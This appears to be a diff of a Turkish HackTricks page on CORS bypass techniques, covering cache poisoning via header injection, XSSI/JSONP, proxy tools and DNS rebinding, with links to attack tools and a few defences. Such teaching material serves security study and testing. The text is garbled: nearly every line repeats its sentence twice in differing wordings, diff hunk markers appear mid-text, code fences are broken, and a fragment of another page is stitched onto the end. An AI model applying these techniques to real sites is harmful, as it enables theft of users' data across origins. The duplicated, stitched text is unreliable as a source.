Bu kurulumda, `requester.com` alt alan adlarının hepsine erişim izni verilmiştir. Ancak, bir alt alan adı, örneğin `sub.requester.com`, bir XSS zafiyeti ile tehlikeye düşerse, bir saldırgan bu zayıflığı kullanabilir. Örneğin, `sub.requester.com`'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını atlayabilir ve `provider.com` üzerindeki kaynaklara kötü niyetli olarak erişebilir. Bu kurulumda, `requester.com` alt alan adlarının hepsine erişim izni verilmiştir. Ancak, bir alt alan adı, örneğin `sub.requester.com`, bir XSS zafiyeti ile tehlikeye düşerse, bir saldırgan bu zayıflığı kullanabilir. Örneğin, `sub.requester.com`'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını atlayabilir ve `provider.com` üzerindeki kaynaklara kötü niyetli bir şekilde erişebilir.
### **Sunucu tarafı önbellek zehirlenmesi** ### **Sunucu tarafı önbellek zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) [**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTP başlığı enjeksiyonu aracılığıyla sunucu tarafı önbellek zehirlenmesini sömürerek, depolanmış Cross-Site Scripting (XSS) zafiyeti uygulanabilir. Bu senaryo, bir uygulamanın `Origin` başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar (0x0d) 'i meşru bir HTTP başlık terminatorü olarak işler, bu da HTTP başlığı enjeksiyonu zafiyetlerine yol açar. Sunucu tarafı önbellek zehirlenmesini HTTP başlığı enjeksiyonu yoluyla sömürerek, depolanan Cross-Site Scripting (XSS) zafiyetinin tetiklenebileceği mümkündür. Bu senaryo, bir uygulamanın `Origin` başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar (0x0d) 'i meşru bir HTTP başlık terminatorü olarak işler ve HTTP başlığı enjeksiyonu zafiyetlerine yol açar.
Aşağıdaki isteği düşünün, burada `Origin` başlığı manipüle edilmiştir: Aşağıdaki isteği düşünün, burada `Origin` başlığı manipüle edilmiştir:
``` ```
@ -229,17 +229,19 @@ Bu zafiyeti doğrudan sömürmek için bir web tarayıcısının hatalı bir ba
Daha fazla bilgi için depolanan XSS zafiyetlerine bakın [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). Daha fazla bilgi için depolanan XSS zafiyetlerine bakın [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Not**: Özellikle sunucu tarafı önbellek zehirlenmesi yoluyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları da dahil olmak üzere tüm kullanıcı tarafından sağlanan girdilerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için girdi doğrulamasını içeren sağlam bir güvenlik modeli kullanın. **Not**: Özellikle sunucu tarafı önbellek zehirlenmesi yoluyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları da dahil olmak üzere tüm kullanıcı tarafından sağlanan girdilerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için giriş doğrulamasını içeren sağlam bir güvenlik modeli kullanın.
### **İstemci Tarafı Önbellek Zehirlenmesi** ### **İstemci Tarafı Önbellek Zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) [**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, `X-User-id` başlığında bulunan içeriği geri yansıtır; bu içerik kötü niyetli JavaScript içerebilir. Başlık, yüklenirken JavaScript kodunu yürütmeyi amaçlayan bir SVG resim etiketi içerdiğinde gösterildiği gibi. Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, `X-User-id` başlığında bulunan içeriği geri yansıtır; bu içerik kötü amaçlı JavaScript içerebilir. Başlık, yüklenirken JavaScript kodunu yürütmek için tasarlanmış bir SVG resim etiketi içerdiğinde gösterildiği gibi.
Çapraz Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle tarayıcı tarafından yanıtın doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. `Vary: Origin` başlığı belirtilmediğinde, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan render edilebilir, başlangıçtaki istekte doğrudan render yapma ihtiyacını atlayarak. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır. Çapraz Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle tarayıcı tarafından yanıtın doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. `Vary: Origin` başlığı belirtilmediğinde, kötü amaçlı yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan işlenebilir, başlangıçtaki istekte doğrudan işlenmesi gerekmeksizin. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.
Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır; bir JSFiddle gibi bir web sayfası ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü niyetli JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın `Vary: Origin` başlığının uygun şekilde işlenmemesi durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir. Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır; bir JSFiddle gibi bir web sayfasının ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü amaçlı JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın `Vary: Origin` başlığının doğru şekilde işlenmemesi durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir.
İşte bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özetlenmiş bir açıklaması:
```html ```html
<script> <script>
function gotcha() { location=url } function gotcha() { location=url }
@ -255,28 +257,28 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP ### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, ayrıca Cross-Site Script Inclusion olarak da bilinen, aynı köken politikasının (SOP) script etiketi kullanılarak kaynaklar dahil edildiğinde geçerli olmadığından faydalanılan bir zayıflık türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği için geçerlidir. Bu zayıflık, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına olanak tanır. XSSI, ayrıca Cross-Site Script Inclusion olarak da bilinen, aynı köken politikasının (SOP) script etiketi kullanılarak kaynaklar dahil edildiğinde geçerli olmadığından faydalanılan bir zafiyet türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği gerçeğinden yararlanır. Bu zafiyet, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına olanak tanır.
Bu zayıflık, özellikle dinamik JavaScript veya JSONP (JSON ile Dolgulama) söz konusu olduğunda önemli hale gelir, özellikle çerezler gibi ortam yetkilendirme bilgileri kullanıldığında. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler dahil edilir ve saldırganın erişimine açık hale gelir. Bu zafiyet, özellikle dinamik JavaScript veya JSONP (JSON with Padding) söz konusu olduğunda ve özellikle çerezler gibi çevresel yetki bilgileri kimlik doğrulaması için kullanıldığında önemli hale gelir. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler de dahil edilir ve saldırganın erişimine açık hale gelir.
Bu zayıflığı daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zayıflıklarını tanımlamak ve ele almak için kullanılabilen BurpSuite eklentisini kullanabilirsiniz. [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan bu eklenti, XSSI zayıflıklarını belirlemeye ve ele almaya yardımcı olabilir. Bu zafiyeti daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zafiyetlerini belirlemeye ve ele almaya yardımcı olabilecek BurpSuite eklentisini kullanabilirsiniz. [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan bu eklenti, web uygulamalarınızdaki XSSI zafiyetlerini belirlemeye ve ele almaya yardımcı olabilir.
[**Farklı XSSI türleri ve bunları nasıl sömürüleceği hakkında daha fazla bilgi için buraya tıklayın.**](xssi-cross-site-script-inclusion.md) [**Farklı XSSI türleri hakkında ve bunları nasıl sömürüleceğine dair daha fazla bilgi için buraya tıklayın.**](xssi-cross-site-script-inclusion.md)
İsteğe bir **`callback`** **parametresi** eklemeyi deneyin. Belki sayfa, verileri JSONP olarak göndermek üzere hazırlanmıştır. Bu durumda sayfa, CORS politikasını atlayacak olan `Content-Type: application/javascript` ile verileri geri gönderecektir. İsteğe bir **`callback`** **parametresi** eklemeyi deneyin. Belki sayfa, verileri JSONP olarak göndermek üzere hazırlanmıştır. Bu durumda sayfa, CORS politikasını atlayacak olan `Content-Type: application/javascript` ile verileri geri gönderecektir.
![](<../.gitbook/assets/image (229).png>) ![](<../.gitbook/assets/image (229).png>)
### Kolay (faydasız?) atlatma ### Kolay (anlamsız?) atlatma
`Access-Control-Allow-Origin` kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istekte bulunmasını ve yanıtı geri göndermesini istemektir. Ancak, bu senaryoda, son kurbanın kimlik bilgileri farklı bir alan adına yapılan istek nedeniyle gönderilmez. `Access-Control-Allow-Origin` kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istekte bulunmasını ve yanıtı geri göndermesini istemektir. Ancak, bu senaryoda, son kurbanın kimlik bilgileri farklı bir alan adına yapılan istek nedeniyle gönderilmez.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve aynı zamanda Origin başlığını istenen alan adıyla eşleştirmek için sahte bir Origin başlığı oluşturur. Bu, CORS politikasını etkili bir şekilde atlar. İşte XMLHttpRequest ile kullanım örneği: 1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve aynı zamanda Origin başlığını istenen alan adıyla eşleştirmek için sahte bir Origin başlığı oluşturur. Bu, CORS politikasını etkili bir şekilde atlar. İşte XMLHttpRequest ile kullanım örneği:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Bu araç, isteklerinizi doğrudan iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar. 2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Bu araç, istekinizi olduğu gibi iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar.
### Iframe + Popup Atlatma ### Iframe + Popup Atlatma
Bir iframe oluşturarak ve ondan yeni bir pencere açarak `e.origin === window.origin` gibi CORS denetimlerini atlayabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın: `e.origin === window.origin` gibi CORS denetimlerini atlatmak için bir **iframe oluşturarak** ve **ondan yeni bir pencere açarak** atlatma yapabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md) [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -284,13 +286,13 @@ Bir iframe oluşturarak ve ondan yeni bir pencere açarak `e.origin === window.o
### TTL Aracılığıyla DNS Rebinding ### TTL Aracılığıyla DNS Rebinding
TTL aracılığıyla DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz: TTL aracılığıyla DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. Nasıl çalıştığını şöyle açıklayabiliriz:
1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar. 1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirir. 2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirir.
3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süreyle geçerli olacağını belirten bir TTL (Yaşam Süresi) değeri olabilir. 3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süreyle geçerli olacağını belirten bir TTL (Time to Live) değeri olabilir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar, bu da saldırganın kurbanın sayfasında JavaScript kodunu yürütmesine olanak tanır. 4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar, bu da saldırganın kurbanın sayfasında JavaScript kodunu yürütmesine olanak tanır.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerezi kurban sunucusuna göndermeden kurbandan bilgi toplayabilir. 5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerezi kurban sunucusuna göndermeden bilgi toplayabilir.
Bu tekniğin hemen kötüye kullanılmasını önleyebilecek tarayıcılarda önbellekleme mekanizmaları bulunmaktadır, hatta düşük TTL değerleriyle bile. Bu tekniğin hemen kötüye kullanılmasını önleyebilecek tarayıcılarda önbellekleme mekanizmaları bulunmaktadır, hatta düşük TTL değerleriyle bile.
@ -298,32 +300,32 @@ DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini atl
Hızlı bir şekilde DNS rebinding'i kötüye kullanmanız gerekiyorsa, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz. Hızlı bir şekilde DNS rebinding'i kötüye kullanmanız gerekiyorsa, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açığa çıkararak, buna işaret eden bir A kaydı oluşturarak (örneğin, ns.example.com), ve önceden oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturarak yapılır (örneğin, ns.example.com). ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenir. Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açığa çıkarmanızı, buna işaret eden bir A kaydı oluşturmanızı (örneğin, ns.example.com), ve önceden oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmanızı gerektirir (örneğin, ns.example.com). ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenir.
Daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde halka açık çalışan bir sunucuyu keşfedebilirsiniz. Daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde halka açık çalışan bir sunucuyu keşfedebilirsiniz.
### DNS Rebinding Aracılığıyla **DNS Önbelleği Saldırısı** ### DNS Rebinding Aracılığıyla **DNS Önbelleği Saldırısı**
DNS rebinding aracılığıyla DNS önbelleği saldırısı, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği yapmaya zorlamak için kullanılan başka bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz: DNS rebinding aracılığıyla DNS önbelleği saldırısı, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği yapmaya zorlamak için kullanılan başka bir tekniktir. Nasıl çalıştığını şöyle açıklayabiliriz:
1. İlk olarak, kurban bir DNS isteği yapar, bu isteğe saldırganın IP adresiyle yanıt verilir. 1. İlk olarak, kurban bir DNS isteği yapar yapmaz, saldırganın IP adresiyle yanıtlanır.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve bu da önbelleğe alınan saldırgan sunucu adını siler. 2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve bu da önbelleğe alınan saldırgan sunucu adını siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar, bu sefer genellikle yerel ana bilgisayarı işaret eden 127.0.0.1 IP adresiyle yanıt alır. 3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar yapmaz, artık genellikle yerel ana bilgisayarı işaret eden IP adresi 127.0.0.1 ile yanıtlanır.
Hizmet işçisi aracılığıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırgan IP adresine çözülür. Hizmet işçisi aracılığıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırganın IP adresine çözünmesini sağlayabilir.
### DNS Rebinding Aracılığıyla **Önbellek** ### DNS Rebinding Aracılığıyla **Önbellek**
Önbellek savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresi kullanmaktır. Nasıl çalıştığını aşağıda bulabilirsiniz: Önbellek savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresini kullanmaktır. Nasıl çalıştığını şöyle açıklayabiliriz:
1. Saldırgan, aynı alt alan adı için DNS sağlayıcısında iki A kaydı (veya iki IP'li tek bir A kaydı) oluşturur. 1. Saldırgan, DNS sağlayıcısında aynı alt alan adı için iki A kaydı (veya iki IP'li tek bir A kaydı) oluşturur.
2. Tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır. 2. Tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı saldırganın IP adresini ilk olarak kullanmaya karar verirse, saldırgan, aynı alan adına HTTP istekleri gerçekleştiren bir yük gönderebilir. 3. Tarayıcı, önce saldırganın IP adresini kullanmaya karar verirse, saldırgan, aynı alan adına HTTP istekleri gerçekleştiren bir yük gönderebilir.
4. Ancak saldırgan, kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer. 4. Ancak saldırgan, kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer.
5. Tarayıcı, alan adının yanıt vermediğini fark edince, ikinci verilen IP adresini kullanmaya devam eder. 5. Tarayıcı, alan adının yanıt vermediğini fark edince, ikinci verilen IP adresini kullanmaya devam eder.
6. İkinci IP adresine erişerek, tarayıcı Aynı Köken Politikasını (SOP) atlar ve saldırgan bu durumu kötüye kullanarak kurbandan bilgi toplayabilir ve dışarı aktarabilir. 6. İkinci IP adresine erişerek, tarayıcı Aynı Köken Politikasını (SOP) atlar ve saldırgan bu durumu kötüye kullanarak kurbandan bilgi toplayabilir ve dışarıya çıkarabilir.
Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi kötüye kullanabilir ve kurbandan bilgiye erişebilir. Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik bir şekilde kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi kötüye kullanabilir ve kurbandan bilgiye erişebilir.
{% hint style="warning" %} {% hint style="warning" %}
Localhost'a erişmek için Windows'ta **127.0.0.1** ve linux'ta **0.0.0.0**'ı yeniden bağlamayı denemelisiniz.\ Localhost'a erişmek için Windows'ta **127.0.0.1** ve linux'ta **0.0.0.0**'ı yeniden bağlamayı denemelisiniz.\
@ -337,25 +339,26 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
* **Dahili IP'ler izin verilmiyorsa**, muhtemelen **0.0.0.0 yasağı unutulmuş olabilir** (Linux ve Mac'te çalışır) * **Dahili IP'ler izin verilmiyorsa**, muhtemelen **0.0.0.0 yasağı unutulmuş olabilir** (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa**, **localhost** için bir **CNAME** ile yanıt verin (Linux ve Mac'te çalışır) * **Dahili IP'ler izin verilmiyorsa**, **localhost** için bir **CNAME** ile yanıt verin (Linux ve Mac'te çalışır)
* **Dahili IP'ler izin verilmiyorsa** DNS yanıtlarında, www.corporate.internal gibi **dahili hizmetlere CNAME'ler** yanıtlayabilirsiniz. * **Dahili IP'ler izin verilmiyorsa** DNS yanıtlarında, www.corporate.internal gibi **dahili hizmetlere CNAME** yanıtı verebilirsiniz.
### DNS Yeniden Hedefleme Silahlandırılmış ### DNS Yeniden Hedefleme Silahlandırılmış
Önceki atlatma teknikleri hakkında daha fazla bilgiyi ve aşağıdaki aracı nasıl kullanacağınızı [Gerald Doussot - DNS Rebinding Saldırılarının Durumu ve Kökenin Tekliği - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) adlı sunumda bulabilirsiniz. Önceki atlatma teknikleri hakkında daha fazla bilgiyi ve aşağıdaki aracı nasıl kullanacağınızı [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) adlı sunumda bulabilirsiniz.
[**`Kökenin Tekliği`**](https://github.com/nccgroup/singularity), [DNS yeniden hedefleme](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden hedeflemek ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir. [**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS yeniden hedefleme](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden hedeflemek ve hedef makinedeki savunmasız yazılımları sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
### DNS Yeniden Hedefleme Karşısında Gerçek Koruma ### DNS Yeniden Hedefleme Karşı Gerçek Koruma
* Dahili hizmetlerde TLS kullanın * Dahili hizmetlerde TLS kullanın
* Verilere erişim için kimlik doğrulaması isteyin * Verilere erişim için kimlik doğrulama isteyin
* Host başlığını doğrulayın * Host başlığını doğrulayın
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir önceden uçuş isteği gönderilmesini öneren bir teklif * [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir önceden uçuş isteği göndermeyi öneren bir teklif
## **Araçlar** ## **Araçlar**
**CORS politikalarındaki olası yapılandırma hatalarını taramak için Fuzz** **CORS politikalarındaki olası yapılandırma hatalarını tarama**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy) * [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
@ -372,17 +375,3 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) * [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) * [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
</details>

View file

@ -1,41 +1,41 @@
# Dangling Markup - HTML scriptless injection # Sarkan İşaretleme - HTML betiksiz enjeksiyon
<details> <details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
